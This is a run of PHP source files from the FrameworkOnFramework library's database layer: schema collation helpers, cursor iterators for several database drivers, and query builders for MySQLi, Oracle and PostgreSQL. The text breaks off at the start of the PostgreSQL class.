$collation = $this->getTableCollation($tableName);
$query = 'SHOW FULL COLUMNS FROM ' .
$this->db->qn($tableName) . ' LIKE ' .
$this->db->q($columnName);
try
{
$row = $this->db->setQuery($query)->loadAssoc();
}
catch (\Exception $e)
{
return $collation;
}
if (empty($row))
{
return $collation;
}
if (!isset($row['Collation']))
{
return $collation;
}
if (empty($row['Collation']))
{
return $collation;
}
return $row['Collation'];
}
/**
* Automatically downgrade a CREATE TABLE or ALTER TABLE query from
utf8mb4 (UTF-8 Multibyte) to plain utf8.
*
* We use our own method so we can be site it works even on Joomla! 3.4 or
earlier, where UTF8MB4 support is not
* implemented.
*
* @param string $query The query to convert
*
* @return string The converted query
*/
private function convertUtf8mb4QueryToUtf8($query)
{
// If it's not an ALTER TABLE or CREATE TABLE command there's
nothing to convert
$beginningOfQuery = substr($query, 0, 12);
$beginningOfQuery = strtoupper($beginningOfQuery);
if (!in_array($beginningOfQuery, array('ALTER TABLE ',
'CREATE TABLE')))
{
return $query;
}
// Replace utf8mb4 with utf8
$from = array(
'utf8mb4_unicode_ci',
'utf8mb4_',
'utf8mb4',
);
$to = array(
'utf8_general_ci', // Yeah, we convert utf8mb4_unicode_ci to
utf8_general_ci per Joomla!'s conventions
'utf8_',
'utf8',
);
return str_replace($from, $to, $query);
}
/**
* Automatically upgrade a CREATE TABLE or ALTER TABLE query from plain
utf8 to utf8mb4 (UTF-8 Multibyte).
*
* @param string $query The query to convert
*
* @return string The converted query
*/
private function convertUtf8QueryToUtf8mb4($query)
{
// If it's not an ALTER TABLE or CREATE TABLE command there's
nothing to convert
$beginningOfQuery = substr($query, 0, 12);
$beginningOfQuery = strtoupper($beginningOfQuery);
if (!in_array($beginningOfQuery, array('ALTER TABLE ',
'CREATE TABLE')))
{
return $query;
}
// Replace utf8 with utf8mb4
$from = array(
'utf8_general_ci',
'utf8_',
'utf8',
);
$to = array(
'utf8mb4_unicode_ci', // Yeah, we convert utf8_general_ci to
utf8mb4_unicode_ci per Joomla!'s conventions
'utf8mb4_',
'utf8mb4',
);
return str_replace($from, $to, $query);
}
/**
* Analyzes a query. If it's a CREATE TABLE query the table is added
to the $tables array.
*
* @param string $query The query to analyze
* @param string $tables The array where the name of the detected
table is added
*
* @return void
*/
private function extractTablesToConvert($query, &$tables)
{
// Normalize the whitespace of the query
$query = trim($query);
$query = str_replace(array("\r\n", "\r",
"\n"), ' ', $query);
while (strstr($query, ' ') !== false)
{
$query = str_replace(' ', ' ', $query);
}
// Is it a create table query?
$queryStart = substr($query, 0, 12);
$queryStart = strtoupper($queryStart);
if ($queryStart != 'CREATE TABLE')
{
return;
}
// Remove the CREATE TABLE keyword. Also, If there's an IF NOT
EXISTS clause remove it.
$query = substr($query, 12);
$query = str_ireplace('IF NOT EXISTS', '', $query);
$query = trim($query);
// Make sure there is a space between the table name and its definition,
denoted by an open parenthesis
$query = str_replace('(', ' (', $query);
// Now we should have the name of the table, a space and the rest of the
query. Extract the table name.
$parts = explode(' ', $query, 2);
$tableName = $parts[0];
/**
* The table name may be quoted. Since UTF8MB4 is only supported in
MySQL, the table name can only be
* quoted with surrounding backticks. Therefore we can trim backquotes
from the table name to unquote it!
**/
$tableName = trim($tableName, '`');
// Finally, add the table name to $tables if it doesn't already
exist.
if (!in_array($tableName, $tables))
{
$tables[] = $tableName;
}
}
/**
* Converts the collation of tables listed in $tablesToConvert to
utf8mb4_unicode_ci
*
* @param array $tablesToConvert The list of tables to convert
*
* @return void
*/
private function convertTablesToUtf8mb4($tablesToConvert)
{
try
{
$utf8mb4Support = $this->db->hasUTF8mb4Support();
}
catch (\Exception $e)
{
$utf8mb4Support = false;
}
// Make sure the database driver REALLY has support for converting
character sets
if (!$utf8mb4Support)
{
return;
}
asort($tablesToConvert);
foreach ($tablesToConvert as $tableName)
{
$collation = $this->getTableCollation($tableName);
$parts = explode('_', $collation, 3);
$encoding = empty($parts[0]) ? '' : strtolower($parts[0]);
if ($encoding != 'utf8mb4')
{
$queries = $this->db->getAlterTableCharacterSet($tableName);
try
{
foreach ($queries as $query)
{
$this->db->setQuery($query)->execute();
}
}
catch (\Exception $e)
{
// We ignore failed conversions. Remember, you MUST change your
indices MANUALLY.
}
}
}
}
/**
* Returns true if table $tableName has an index named $indexName or if
it's impossible to retrieve index names for
* the table (not enough privileges, not a MySQL database, ...)
*
* @param string $tableName The name of the table
* @param string $indexName The name of the index
*
* @return bool
*/
private function hasIndex($tableName, $indexName)
{
static $isMySQL = null;
static $cache = array();
if (is_null($isMySQL))
{
$driverType = $this->db->name;
$driverType = strtolower($driverType);
$isMySQL = true;
if (
!strpos($driverType, 'mysql') === 0
&& !(substr($driverType, -5) == 'mysql')
&& !(substr($driverType, -6) == 'mysqli')
)
{
$isMySQL = false;
}
}
// Not MySQL? Lie and return true.
if (!$isMySQL)
{
return true;
}
if (!isset($cache[$tableName]))
{
$cache[$tableName] = array();
}
if (!isset($cache[$tableName][$indexName]))
{
$cache[$tableName][$indexName] = true;
try
{
$indices = array();
$query = 'SHOW INDEXES FROM ' .
$this->db->qn($tableName);
$indexDefinitions =
$this->db->setQuery($query)->loadAssocList();
if (!empty($indexDefinitions) && is_array($indexDefinitions))
{
foreach ($indexDefinitions as $def)
{
$indices[] = $def['Key_name'];
}
$indices = array_unique($indices);
}
$cache[$tableName][$indexName] = in_array($indexName, $indices);
}
catch (\Exception $e)
{
// Ignore errors
}
}
return $cache[$tableName][$indexName];
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
if (!interface_exists('JDatabaseInterface'))
{
/**
* Joomla Platform Database Interface
*
* @since 11.2
*/
interface JDatabaseInterface
{
/**
* Test to see if the connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 11.2
*/
public static function isSupported();
}
}
interface FOFDatabaseInterface extends JDatabaseInterface
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* SQL azure database iterator.
*/
class FOFDatabaseIteratorAzure extends FOFDatabaseIteratorSqlsrv
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* MySQL database iterator.
*/
class FOFDatabaseIteratorMysql extends FOFDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @see Countable::count()
*/
public function count()
{
return @mysql_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*/
protected function fetchObject()
{
return @mysql_fetch_object($this->cursor, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*/
protected function freeResult()
{
@mysql_free_result($this->cursor);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* MySQLi database iterator.
*/
class FOFDatabaseIteratorMysqli extends FOFDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @see Countable::count()
*/
public function count()
{
return @mysqli_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*/
protected function fetchObject()
{
return @mysqli_fetch_object($this->cursor, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*/
protected function freeResult()
{
@mysqli_free_result($this->cursor);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* MySQLi database iterator.
*/
class FOFDatabaseIteratorOracle extends FOFDatabaseIteratorPdo
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* PDO database iterator.
*/
class FOFDatabaseIteratorPdo extends FOFDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @see Countable::count()
*/
public function count()
{
if (!empty($this->cursor) && $this->cursor instanceof
PDOStatement)
{
return @$this->cursor->rowCount();
}
else
{
return 0;
}
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*/
protected function fetchObject()
{
if (!empty($this->cursor) && $this->cursor instanceof
PDOStatement)
{
return @$this->cursor->fetchObject($this->class);
}
else
{
return false;
}
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*/
protected function freeResult()
{
if (!empty($this->cursor) && $this->cursor instanceof
PDOStatement)
{
@$this->cursor->closeCursor();
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* MySQLi database iterator.
*/
class FOFDatabaseIteratorPdomysql extends FOFDatabaseIteratorPdo
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* PostgreSQL database iterator.
*/
class FOFDatabaseIteratorPostgresql extends FOFDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @see Countable::count()
*/
public function count()
{
return @pg_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*/
protected function fetchObject()
{
return @pg_fetch_object($this->cursor, null, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*/
protected function freeResult()
{
@pg_free_result($this->cursor);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* MySQLi database iterator.
*/
class FOFDatabaseIteratorSqlite extends FOFDatabaseIteratorPdo
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* SQL server database iterator.
*/
class FOFDatabaseIteratorSqlsrv extends FOFDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @see Countable::count()
*/
public function count()
{
return @sqlsrv_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*/
protected function fetchObject()
{
return @sqlsrv_fetch_object($this->cursor, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*/
protected function freeResult()
{
@sqlsrv_free_stmt($this->cursor);
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Database iterator
*/
abstract class FOFDatabaseIterator implements Iterator
{
/**
* The database cursor.
*
* @var mixed
*/
protected $cursor;
/**
* The class of object to create.
*
* @var string
*/
protected $class;
/**
* The name of the column to use for the key of the database record.
*
* @var mixed
*/
private $_column;
/**
* The current database record.
*
* @var mixed
*/
private $_current;
/**
* The current database record as a FOFTable object.
*
* @var FOFTable
*/
private $_currentTable;
/**
* A numeric or string key for the current database record.
*
* @var scalar
*/
private $_key;
/**
* The number of fetched records.
*
* @var integer
*/
private $_fetched = 0;
/**
* A FOFTable object created using the class type $class, used by getTable
*
* @var FOFTable
*/
private $_tableObject = null;
/**
* Returns an iterator object for a specific database type
*
* @param string $dbName The database type, e.g. mysql, mysqli,
sqlazure etc.
* @param mixed $cursor The database cursor
* @param string $column An option column to use as the iterator key
* @param string $class The table class of the returned objects
* @param array $config Configuration parameters to push to the table
class
*
* @return FOFDatabaseIterator
*
* @throws InvalidArgumentException
*/
public static function &getIterator($dbName, $cursor, $column, $class,
$config = array())
{
$className = 'FOFDatabaseIterator' . ucfirst($dbName);
$object = new $className($cursor, $column, $class, $config);
return $object;
}
/**
* Database iterator constructor.
*
* @param mixed $cursor The database cursor.
* @param string $column An option column to use as the iterator key.
* @param string $class The table class of the returned objects.
* @param array $config Configuration parameters to push to the table
class
*
* @throws InvalidArgumentException
*/
public function __construct($cursor, $column, $class, $config = array())
{
// Figure out the type and prefix of the class by the class name
$parts = FOFInflector::explode($class);
if(count($parts) != 3)
{
throw new InvalidArgumentException('Invalid table name,
expected a pattern like ComponentTableFoobar got '.$class);
}
$this->_tableObject = FOFTable::getInstance($parts[2],
ucfirst($parts[0]) . ucfirst($parts[1]))->getClone();
$this->cursor = $cursor;
$this->class = 'stdClass';
$this->_column = $column;
$this->_fetched = 0;
$this->next();
}
/**
* Database iterator destructor.
*/
public function __destruct()
{
if ($this->cursor)
{
$this->freeResult($this->cursor);
}
}
/**
* The current element in the iterator.
*
* @return object
*
* @see Iterator::current()
*/
public function current()
{
return $this->_currentTable;
}
/**
* The key of the current element in the iterator.
*
* @return scalar
*
* @see Iterator::key()
*/
public function key()
{
return $this->_key;
}
/**
* Moves forward to the next result from the SQL query.
*
* @return void
*
* @see Iterator::next()
*/
public function next()
{
// Set the default key as being the number of fetched object
$this->_key = $this->_fetched;
// Try to get an object
$this->_current = $this->fetchObject();
// If an object has been found
if ($this->_current)
{
$this->_currentTable = $this->getTable();
// Set the key as being the indexed column (if it exists)
if (isset($this->_current->{$this->_column}))
{
$this->_key = $this->_current->{$this->_column};
}
// Update the number of fetched object
$this->_fetched++;
}
}
/**
* Rewinds the iterator.
*
* This iterator cannot be rewound.
*
* @return void
*
* @see Iterator::rewind()
*/
public function rewind()
{
}
/**
* Checks if the current position of the iterator is valid.
*
* @return boolean
*
* @see Iterator::valid()
*/
public function valid()
{
return (boolean) $this->_current;
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*/
abstract protected function fetchObject();
/**
* Method to free up the memory used for the result set.
*
* @return void
*/
abstract protected function freeResult();
/**
* Returns the data in $this->_current as a FOFTable instance
*
* @return FOFTable
*
* @throws OutOfBoundsException
*/
protected function getTable()
{
if (!$this->valid())
{
throw new OutOfBoundsException('Cannot get item past
iterator\'s bounds', 500);
}
$this->_tableObject->bind($this->_current);
return $this->_tableObject;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Query Element Class.
*
* @property-read string $name The name of the element.
* @property-read array $elements An array of elements.
* @property-read string $glue Glue piece.
*
* @since 11.1
*/
class FOFDatabaseQueryElement
{
/**
* @var string The name of the element.
* @since 11.1
*/
protected $name = null;
/**
* @var array An array of elements.
* @since 11.1
*/
protected $elements = null;
/**
* @var string Glue piece.
* @since 11.1
*/
protected $glue = null;
/**
* Constructor.
*
* @param string $name The name of the element.
* @param mixed $elements String or array.
* @param string $glue The glue for elements.
*
* @since 11.1
*/
public function __construct($name, $elements, $glue = ',')
{
$this->elements = array();
$this->name = $name;
$this->glue = $glue;
$this->append($elements);
}
/**
* Magic function to convert the query element to a string.
*
* @return string
*
* @since 11.1
*/
public function __toString()
{
if (substr($this->name, -2) == '()')
{
return PHP_EOL . substr($this->name, 0, -2) . '(' .
implode($this->glue, $this->elements) . ')';
}
else
{
return PHP_EOL . $this->name . ' ' .
implode($this->glue, $this->elements);
}
}
/**
* Appends element parts to the internal list.
*
* @param mixed $elements String or array.
*
* @return void
*
* @since 11.1
*/
public function append($elements)
{
if (is_array($elements))
{
$this->elements = array_merge($this->elements, $elements);
}
else
{
$this->elements = array_merge($this->elements, array($elements));
}
}
/**
* Gets the elements of this element.
*
* @return array
*
* @since 11.1
*/
public function getElements()
{
return $this->elements;
}
/**
* Method to provide deep copy support to nested objects and arrays
* when cloning.
*
* @return void
*
* @since 11.3
*/
public function __clone()
{
foreach ($this as $k => $v)
{
if (is_object($v) || is_array($v))
{
$this->{$k} = unserialize(serialize($v));
}
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
if (!interface_exists('JDatabaseQueryLimitable'))
{
/**
* Joomla Database Query Limitable Interface.
* Adds bind/unbind methods as well as a getBounded() method
* to retrieve the stored bounded variables on demand prior to
* query execution.
*
* @since 12.1
*/
interface JDatabaseQueryLimitable
{
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset. This method is used
* automatically by the __toString() method if it detects that the
* query implements the FOFDatabaseQueryLimitable interface.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 12.1
*/
public function processLimit($query, $limit, $offset = 0);
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 12.1
*/
public function setLimit($limit = 0, $offset = 0);
}
}
/**
* Joomla Database Query Limitable Interface.
* Adds bind/unbind methods as well as a getBounded() method
* to retrieve the stored bounded variables on demand prior to
* query execution.
*
* @since 12.1
*/
interface FOFDatabaseQueryLimitable extends JDatabaseQueryLimitable
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Query Building Class.
*
* @since 11.1
* @deprecated Will be removed when the minimum supported PHP version no
longer includes the deprecated PHP `mysql` extension
*/
class FOFDatabaseQueryMysql extends FOFDatabaseQueryMysqli
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Query Building Class.
*
* @since 11.1
*/
class FOFDatabaseQueryMysqli extends FOFDatabaseQuery implements
FOFDatabaseQueryLimitable
{
/**
* @var integer The offset for the result set.
* @since 12.1
*/
protected $offset;
/**
* @var integer The limit for the result set.
* @since 12.1
*/
protected $limit;
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 12.1
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit > 0 || $offset > 0)
{
$query .= ' LIMIT ' . $offset . ', ' . $limit;
}
return $query;
}
/**
* Concatenates an array of column names or values.
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 11.1
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
$concat_string = 'CONCAT_WS(' . $this->quote($separator);
foreach ($values as $value)
{
$concat_string .= ', ' . $value;
}
return $concat_string . ')';
}
else
{
return 'CONCAT(' . implode(',', $values) .
')';
}
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return FOFDatabaseQuery Returns this object to allow chaining.
*
* @since 12.1
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Return correct regexp operator for mysqli.
*
* Ensure that the regexp operator is mysqli compatible.
*
* Usage:
* $query->where('field ' . $query->regexp($search));
*
* @param string $value The regex pattern.
*
* @return string Returns the regex operator.
*
* @since 11.3
*/
public function regexp($value)
{
return ' REGEXP ' . $value;
}
/**
* Return correct rand() function for Mysql.
*
* Ensure that the rand() function is Mysql compatible.
*
* Usage:
* $query->Rand();
*
* @return string The correct rand function.
*
* @since 3.5
*/
public function Rand()
{
return ' RAND() ';
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Oracle Query Building Class.
*
* @since 12.1
*/
class FOFDatabaseQueryOracle extends FOFDatabaseQueryPdo implements
FOFDatabaseQueryPreparable, FOFDatabaseQueryLimitable
{
/**
* @var integer The offset for the result set.
* @since 12.1
*/
protected $offset;
/**
* @var integer The limit for the result set.
* @since 12.1
*/
protected $limit;
/**
* @var array Bounded object array
* @since 12.1
*/
protected $bounded = array();
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key', but
can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
* @return FOFDatabaseQueryOracle
*
* @since 12.1
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array())
{
// Case 1: Empty Key (reset $bounded array)
if (empty($key))
{
$this->bounded = array();
return $this;
}
// Case 2: Key Provided, null value (unset key from $bounded array)
if (is_null($value))
{
if (isset($this->bounded[$key]))
{
unset($this->bounded[$key]);
}
return $this;
}
$obj = new stdClass;
$obj->value = &$value;
$obj->dataType = $dataType;
$obj->length = $length;
$obj->driverOptions = $driverOptions;
// Case 3: Simply add the Key/Value into the bounded array
$this->bounded[$key] = $obj;
return $this;
}
/**
* Retrieves the bound parameters array when key is null and returns it by
reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 12.1
*/
public function &getBounded($key = null)
{
if (empty($key))
{
return $this->bounded;
}
else
{
if (isset($this->bounded[$key]))
{
return $this->bounded[$key];
}
}
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return FOFDatabaseQueryOracle Returns this object to allow chaining.
*
* @since 12.1
*/
public function clear($clause = null)
{
switch ($clause)
{
case null:
$this->bounded = array();
break;
}
parent::clear($clause);
return $this;
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset. This method is used
* automatically by the __toString() method if it detects that the
* query implements the FOFDatabaseQueryLimitable interface.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 12.1
*/
public function processLimit($query, $limit, $offset = 0)
{
// Check if we need to mangle the query.
if ($limit || $offset)
{
$query = "SELECT joomla2.*
FROM (
SELECT joomla1.*, ROWNUM AS joomla_db_rownum
FROM (
" . $query . "
) joomla1
) joomla2";
// Check if the limit value is greater than zero.
if ($limit > 0)
{
$query .= ' WHERE joomla2.joomla_db_rownum BETWEEN ' .
($offset + 1) . ' AND ' . ($offset + $limit);
}
else
{
// Check if there is an offset and then use this.
if ($offset)
{
$query .= ' WHERE joomla2.joomla_db_rownum > ' . ($offset
+ 1);
}
}
}
return $query;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return FOFDatabaseQueryOracle Returns this object to allow chaining.
*
* @since 12.1
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* PDO Query Building Class.
*
* @since 12.1
*/
class FOFDatabaseQueryPdo extends FOFDatabaseQuery
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Query Building Class.
*
* @package Joomla.Platform
* @subpackage Database
* @since 3.4
*/
class FOFDatabaseQueryPdomysql extends FOFDatabaseQueryMysqli
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage database
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* This file is adapted from the Joomla! Platform. It is used to iterate a
database cursor returning FOFTable objects
* instead of plain stdClass objects
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Query Building Class.
*
* @since 11.3
*/
class FOFDatabaseQueryPostgresql extends FOFDatabaseQuery implements
FOFDatabaseQueryLimitable
{
/**
* @var object The FOR UPDATE element used in "FOR UPDATE"
lock
* @since 11.3
*/
protected $forUpdate = null;
/**
* @var object The FOR SHARE element used in "FOR SHARE"
lock
* @since 11.3
*/
